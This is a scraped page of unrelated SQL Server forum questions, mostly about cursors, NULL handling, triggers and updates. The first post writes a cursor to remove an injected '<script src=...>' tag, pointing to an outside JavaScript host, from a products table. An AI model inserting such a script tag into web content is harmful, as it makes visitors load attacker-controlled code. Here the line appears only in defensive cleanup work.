So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.
Code:
use db7021
go
select * from products
go
declare @desc varchar(max)
declare @virus varchar(128)
set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>'
declare @start int
declare @end int
declare thecursor CURSOR LOCAL SCROLL_LOCKS
for select cdescription from products
where cdescription like ('%' + @virus + '%')
for update of cdescription
open thecursor
fetch next from thecursor into @desc
while @@FETCH_STATUS = 0
begin
print @desc
set @start = charindex(@virus, @desc)
set @end = @start + len(@virus)
print cast(@start as char) + ', ' + cast(@end as char)
set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1)
update products
set cdescription = @desc
where current of thecursor
fetch next from thecursor into @desc
end
I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.
Maybe I've missed something in the syntax for cursors?
Hi guys!i want to create one cursor in the t-sql. the problem is i want to usestored procedure instead of select command in cursor.can anyone tell me how can i use stored procedure's o/p to createcursor?i'm using sql 2000 and .net 2.0thanks,Lucky
If a column is set to allow nulls I know that a constraint can be used to supply a default (i.e. GetDate() ) when no value is provided but what about when an explicit NULL is provided in an INSERT or UPDATE statement?Is there any way other then an AFTER trigger to substitute a value for an explicitly provided NULL? In other words, assuming that dtAsof is a NULL enabled column, is there any way to over ride what the following will do to MYTABLE:
If there's no way to do this in SQL Server 2008R2 then what about later versions of SQL Server? Do any more recent versions have a way to deal with this? We have a third party app that uses a SQL Server back end and many of the tables have columns for storing audit like data such as date/time but many are left to NULL values and I'd really like to fix that in as passive a way as possible so as to not break the app that uses the database. I know a constraint with a default can be sued to over ride a null but not when a null is explicitly provided.
I appear to be having an issue where the @LetterVal and @Numeric variables aren't resetting for each loop iteration, so if no results are found, it just returns the previous loops values since they aren't overwritten. Â Below is the stored procedure I've created:
ALTER PROCEDURE [dbo].[ap_CalcGrade]Â -- Add the parameters for the stored procedure here @studId int, @secId int, @grdTyCd char(2), @grdCdOcc int, @Numeric int output,
[Code] ....
And below is the "test query" I'm using:Â
--  *** Test Program *** Declare @LetterVal varchar(2), -- Letter Grade     @Numeric  int,     -- Numeric Grade     @Result   int     -- Procedure Status (0 = OK) Execute @Result = dbo.ap_CalcGrade 102, 86, 'QZ', 3,Â
[Code] ....
This is resulting in an output of:Â
A+ 97 A+ 97 C- 72
but it should be returning the output below due to the 2nd data set not being valid/found in the sp query: Â A+ 97 No Find C- 72
I'm sure this is sloppy and not the most efficient way of doing this, so whats causing the errant results, and if there is any better way I should be writing it. Â Below is the assignment requirements:
Create a stored procedure using the STUDENT database called ap_CalcGrade that does the following:
1. Accepts as input STUDENT_ID, SECTION_ID, GRADE_TYPE_CODE, and GRADE_CODE_OCCURRENCE 2. Outputs the numeric grade and the letter grade back to the user 3. If the numeric grade is found, return 0, otherwise return 1 4. You must use a cursor to loop through the GRADE_CONVERSION table to find the letter grade
When i do a select on my emplee table for rows with null idCompany i dont get any records
I then try to modify the table to not allow a null idCompany and i get this error message:
'Employee (aMgmt)' table - Unable to modify table. Cannot insert the value NULL into column 'idCompany', table 'D2.aMgmt.Tmp_Employee'; column does not allow nulls. INSERT fails. The statement has been terminated.
I would like to get the results of a cursor into update statement but it fills only the last record of the cursor
this is the cursor:
Code: DECLARE @avg varchar(50) DECLARE @cur_avg CURSOR SET @cur_avg = CURSOR FOR select cast(avg(cast(reply as decimal(12,2))) as decimal(12,2)) from tbl_app_monitoring group by test_name, application_id
this is the update statement:
Code: OPEN @cur_avg FETCH @cur_avg INTO @avg WHILE (@@FETCH_STATUS = 0) BEGIN UPDATE tbl_app_monitoring_archive SET average = @avg FETCH @cur_avg INTO @avg END
is it also possible to do this without the cursor ?
Please tell me how to code the Update of the current cursor record as one would do using VD/ADO :
VB: Table("Fieldname") = Value
---------------------------------------------------------- Declare @NextNo integer Select @NextNo = (Select NextNo from NextNumbers where NNId = 'AddressBook') + 1
--Create a Cursor through wich to lo loop and Update the ABAN8 with the corrrect NextNo DECLARE Clone_Cursor CURSOR FOR Select ABAN8 from JDE_Train.trndta.F0101_Clone Open Clone_Cursor Fetch Next from Clone_Cursor WHILE @@FETCH_STATUS = 0 BEGIN Select @NextNo = @NextNo + 1 Clone_Cursor("ABAN8") = @NextNo Update Clone_Cursor FETCH NEXT FROM Clone_Cursor END
I need to do something relatively simple…I need to update a table using a cursor. (I may have to create astored procedure for doing this…)I need to declare an update cursor, fetch the cursor and update thedata (and presumably close the cursor and de-allocate it…The update query is as follows… Would anyone there know how todeclare the cursor for update and use it?UPDATE ASET A.Field1 =(SELECT B.Field1FROM B INNER JOIN A ON A.id = B.id)I need to know how to declare the cursor and fetch it.Can anyone give me an example of the code I need for the SQL Server?Thanks!
I've implemented a UDF in SQL Server 2005 written in C#. The function with its assembly has been registered ok with SQL Server and works fine. It accepts three short strings (nvarchar of lengths 5, 35, and 35) and returns a SQL formatted string (SqlString).
When I run the function to test it it works just fine, and the same is true if I run the function inside a cursor to update a field in a table. But when I do a simple update it crashes. I've so far received two different errors: first one error saying a string could not be converted into an integer (but the error does not occur when I enter the same input values manually via a test Windows form, or through the new Query Analyzer as a single query - or using it inside a cursor). Then one error saying a string was too short (I couldn't use substring(X, Y) because the string, I was told, was too short - it wasn't).
The problem thus cannot be with the function since it works just fine if I do like this:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3) WHERE PersonId = 10000001
And it works fine while doing the same thing inside a cursor (for instance working with the first 10, 100 or 1000 records).
But when I do this it crashes:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3)
For your information the table has about 1.5M records (for testing, it contain more data when on the production server) and my aim is to update the CodeField column as quickly as possible. The CodeField is a 12-character string that is based on a rather complex algorithm including the Field1, Field2 and Field3 strings. I'm using C# because it manages strings much better than SQL Server - and it is so much easier coding this stuff.
Anyhow, I've had this kind of problem before with SQL Servers 2000 and 7 (maybe even 6.5) and it seems the problem occurs when I let SQL Server go about its business at its own pace. But when I do something to control that it really takes one record at a time (through using a cursor or executing the query with a WHERE clause like the one above) it works splendidly.
The problem here is that a cursor is way too slow, and there really shouldn't be a problem with a simple UPDATE command, should it? After all, everything works just fine except when I let SQL Server do what it does best (i.e. update the field at its own speed, whatever that is).
Any ideas? This is very frustrating since it is impossible to try and find the error - it isn't there when testing! And it is frustrating since I remember having had the same kind of problem (but every time with different errors arising) before without finding a solution (except for slowing everything down - not an option here).
Is there a certain tweak I can do to make things work out, or should I code things differently?
DECLARE @id VARCHAR(10) DECLARE myCursor CURSOR LOCAL FAST_FORWARD FOR SELECT [ServersList] AS 'ID' FROM dbo.Servers
[code]...
How do loop a table server(serverlist,flag) table with these 2 columns.And ping each of the servers in the table and update the flag column to '1' if ping has been successfull or flag to '0' if ping has been unsuccessfull.
HI AllI have a process that I am trying to accomplish with one statement.

When I run this update statement, it updates the proper badgenumbers but it only updates them to 1 when I did a count? As the data displays some of the results should be more than 1. Why did this occur?
Hello, I am trying to read in from a csv file which works like this:
DECLARE @doesExist INT DECLARE @fileName VARCHAR(200) SET @fileName = 'c:file.csv'
SET NOCOUNT ON
EXEC xp_fileexist "' + @fileName + '", @doesExist OUTPUT SET NOCOUNT OFF
IF @doesExist = 1
BEGIN BULK INSERT OrdersBulk FROM "' + @fileName + '" WITH ( FIELDTERMINATOR = ',', ROWTERMINATOR = '' ) END ELSE print('Error cant find file')
What I want to do is check another table before each line inserts, if the data already exists I want to do an UPDATE. I think i can do what i need with a cursor but I think the bulk update just pushes all the data up and will not allow me to put in the cursor. So is there a way i can read the csv in a cursor instead of using the bulk insert so i can examine each row?
UPDATE SCORESET QUAL_SCORE = ((SCORE - average_score)/deviation_score)*(-0.25) +((accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25))WHERE SCORES.DISABLEMENT_ZIP = v_disablement_zipAND SCORES.EQPMNT_CODE = v_eqpmnt_code; is it possible to use this one query to update the QUAL_SCORE field without using cursor.if SCORE and deviation_score are 0, Then (SCORE - average_score)/deviation_score)*(-0.25) is 0,if accuracy_score and accuracy_deviation_score are 0, then (accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25 is 0.
I am importing a text file that list invoice columns. The invoice detail table needs the line items to be listed with sequential numbers. I import the file to a temp table to do the work in and I know I need to have the cursor do loop through and count, however, I have no more hair to pull out.
is there an elegant way to use one equals sign in a where clause that returns true when both arguments are null, and returns true when neither is null but both are equal and returns false when only one is null?
I have two SSIS packages that import from the same flat file into the same SQL 2005 table. I have one flat file connection (to a comma delimited file) and one OLE DB connection (to a SQL 2005 Database). Both packages use these same two Connection Managers. The SQL table allows NULL values for all fields. The flat file has "empty values" (i.e., ,"", ) for certain columns.
The first package uses the Data Flow Task with the "Keep nulls" property of the OLE DB Destination Editor unchecked. The columns in the source and destination are identically named thus the mapping is automatically assigned and is mapped based on ordinal position (which is equivalent to the mapping using Bulk Insert). When this task is executed no null values are inserted into the SQL table for the "empty values" from the flat file. Empty string values are inserted instead of NULL.
The second package uses the Bulk Insert Task with the "KeepNulls" property for the task (shown in the Properties pane when the task in selected in the Control Flow window) set to "False". When the task is executed NULL values are inserted into the SQL table for the "empty values" from the flat file.
So using the Data Flow Task " " (i.e., blank) is inserted. Using the Bulk Insert Task NULL is inserted (i.e., nothing is inserted, the field is skipped, the value for the record is omitted).
I want to have the exact same behavior on my data in the Bulk Insert Task as I do with the Data Flow Task.
Using the Bulk Insert Task, what must I do to have the Empty String values inserted into the SQL table where there is an "empty value" in the flat file? Why & how does this occur automatically in the Data Flow Task?
From a SQL Profile Trace comparison of the two methods I do not see where the syntax of the insert command nor the statements for the preceeding captured steps has dictated this change in the behavior of the inserted "" value for the recordset. Please help me understand what is going on here and how to accomplish this using the Bulk Insert Task.
I created an updateable partioned view of a very large table. Now I get an error when I attempt to declare a CURSOR that SELECTs from the view, and a FOR UPDATE argument is in the declaration.
There error generated is:
Server: Msg 16957, Level 16, State 4, Line 3
FOR UPDATE cannot be specified on a READ ONLY cursor
Here is the cursor declaration:
declare some_cursor CURSOR
for
select *
from part_view
FOR UPDATE
Any ideas, guys? Thanks in advance for knocking your head against this one.
PS: Since I tested the updateability of the view there are no issues with primary keys, uniqueness, or indexes missing. Also, unfortunately, the dreaded cursor is requried, so set based alternatives are not an option - it's from within Peoplesoft.
I need help writing an Update trigger that puts the current date in a changed record. I understand the basic idea but can't seem to get it to work. Any help would be greatly appreciated

I am new to sql and asp, I am using visual web developer and have table that when it gets change I would like to see another table populated with the information. This is the two tables I have
First one has the information in it that users will insert in it
I created an application based on an existing database, I made a lot of changes to the database, now I need to create scripts in the new database to use to update the old database. For example, I added 15 fields to 1 of the tables. Is there a way to use Tasks -> Generate Scripts to create a script that will check the existance of each column and create it if it does not exist? I tried multiple ways of doing this, but it will only create columns for tables that do not exist in the old database. If a table exists, none of the new columns are added. I may be going about doing this wrong. The main goal I am tying to accomplish is to get all of the data that is in the old database (It was in use while the new one was being developed so there is a lot of data in the old database that I need to have in the new one) into the new one. Am I better off creating a blank database, then exporting all of the data from the old database to the new one? Will this create any problems with my Primary Keys (The are all auto-increment Integers)?
I am extremely new at SQL Server2000 and t-sql and I'm looking tocreate a simple trigger. For explanation sake, let's say I have 3columns in one table ... Col_1, Col_2 and Col_3. The data type forCol_1 and Col_2 are bit and Col_3 is char. I want to set a trigger onCol_2 to compare Col_1 to Col_2 when Col_2 is updated and if they'rethe same, set the value on Col_3 to "Completed". Can someone pleasehelp me?Thanks,Justin
I am attempting to update a table that drives a report. The report is at the order level. An order can have several types of demand (revenue $): Ship and/or Backordered. When I update one of these demand fields on the report table, I would expect those orders that have that type of demand to update, and those orders that don't have that type of demand to remain at their current value ($0 in this example which is the table default). But what is happening is that orders that don't have that type of demand are changing to NULL. What am i doing wrong with my update statement that is causing this?
Hi, I use the SqlDataSource Control for generating SQL-statements that I easily can modify. But on some tables I cant autogenerate the statements for Insert, Delete and Update. The checkbox is dimmed/not enabled. Why cant I use the autogenerate feature on some tables?
